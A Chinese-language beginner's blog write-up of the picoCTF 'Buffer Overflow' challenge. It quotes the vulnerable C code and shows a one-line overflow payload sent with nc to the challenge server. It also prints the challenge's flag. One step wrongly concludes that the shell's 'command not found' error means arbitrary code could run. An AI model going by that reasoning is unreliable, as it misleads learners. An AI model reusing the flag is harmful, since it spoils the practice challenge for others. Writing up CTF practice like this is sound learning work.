iT邦幫忙

2025 iThome 鐵人賽

DAY 26
0
自我挑戰組

新手挑戰 picoCTF:資安入門紀錄系列 第 26

pico CTF - Buffer Overflow

  • 分享至 

  • xImage
  •  

今天要挑戰的題目是:
https://ithelp.ithome.com.tw/upload/images/20251008/20178898ziSe0T55YK.png
題目給的提示非常明顯,觸發 buffer overflow 讓程式崩潰,並藉由 SIGEGV handler 印出 Flag 。
預期結果:

  • 你會看到程式先印出 Input:
  • 然後因為溢位 → 崩潰 → handler 被呼叫
  • 最後會直接印出真正的 picoCTF flag

解題流程與思路
一、讀程式碼:

head -n 200 vuln.c

https://ithelp.ithome.com.tw/upload/images/20251008/20178898a7BRpA4zo6.png
程式碼重點分析:

int main() {
  ...
  char buf1[100];
  gets(buf1);         // 漏洞 1:無邊界檢查
  vuln(buf1);         // 漏洞 2:strcpy 可能溢位 buf2
  ...
}
void sigsegv_handler(int sig) {
  printf("%s\n", flag);  // 關鍵:程式崩潰時自動印出 flag
  exit(1);
}

二、- 建立一個假的 flag.txt 然後執行程式輸入長字串:

echo "FAKEFLAG{test_flag}" > flag.txt
./vuln
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

系統會輸出:

-bash: AAAAA...: command not found

代表輸入完一大串 A 之後,shell 會把 Overflow 之後的 AAAAAAAA... 當成一個「指令」來執行,結果當然找不到這個指令,所以顯示無法找到。

透果此操作可得知,若後續輸入的文字為程式碼,即可讓系統執行我的程式。


三、觸發 sigsegv_handler,讓系統自動把 flag 印出來:

python3 -c 'print("A"*200)' | nc saturn.picoctf.net 12345

https://ithelp.ithome.com.tw/upload/images/20251008/20178898aiOclxtsOL.png
得到正確答案:picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}


小小心得
這題是非常經典的 buffer overflow 題,透過這次挑戰,我學習了 stack overflow 的基本概念,也學會了如何在 CTF 中快速辨識漏洞點、設計 payload、並利用程式的行為來反向拿到 flag。

最有趣的是,這題不需要精準控制記憶體,只要讓程式「崩潰」就能成功,這讓我重新思考 exploit 的本質:不是一定要控制程式流程,有時候只要觸發特定事件就能達成目的。

此外,這次我也練習了如何撰寫自動化腳本,讓 exploit 更快速、更穩定。


上一篇
picoCTF 學習日誌 — keygenme-trial
下一篇
picoCTF:VaultDoor1
系列文
新手挑戰 picoCTF:資安入門紀錄27
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言